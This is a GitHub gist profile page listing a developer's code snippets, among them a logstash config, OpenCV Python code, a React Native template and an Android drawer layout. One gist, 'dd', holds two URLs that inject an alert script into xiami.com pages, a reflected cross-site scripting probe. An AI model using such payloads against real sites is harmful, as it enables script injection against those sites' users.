Skip to content

Instantly share code, notes, and snippets.

View sospartan's full-sized avatar

sospartan zheng sospartan

View GitHub Profile
@sospartan
sospartan / replay.conf
Created March 13, 2020 04:40
logstash config to replay day by day
input {
generator {
lines => [
"recap"
]
count => 1
}
}
Verifying my Blockstack ID is secured with the address 18t1oqYueQPMudpJLmdt5NbZh3yAT7twn1 https://explorer.blockstack.org/address/18t1oqYueQPMudpJLmdt5NbZh3yAT7twn1
import cv2
import numpy as np
canny = rho = threshold = minLen = maxGap = None
def draw():
lines = cv2.HoughLinesP(canny, rho, np.pi / 180,
threshold, None, minLen, maxGap)
dst = cv2.cvtColor(canny, cv2.COLOR_GRAY2BGR)
@sospartan
sospartan / index.js
Last active November 18, 2015 09:29
simple react-native navigator template
/**
* Created by sospartan on 11/18/15.
*/
'use strict';
var React = require('react-native');
var {
StyleSheet,
Text,
@sospartan
sospartan / VerticalDrawerLayout.java
Created May 20, 2013 01:53
VerticalDrawerLayout based on support-v4
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.os.Parcel;
import android.os.Parcelable;
@sospartan
sospartan / dd
Created April 15, 2011 02:29
ddd
http://www.xiami.com/radio/play/type/5/oid/63172?var=xss"></a><script>alert(/xss/)</script>
http://www.xiami.com/song/showcollect/id/5777?var=xss"></a><script>alert(/xss/)</script>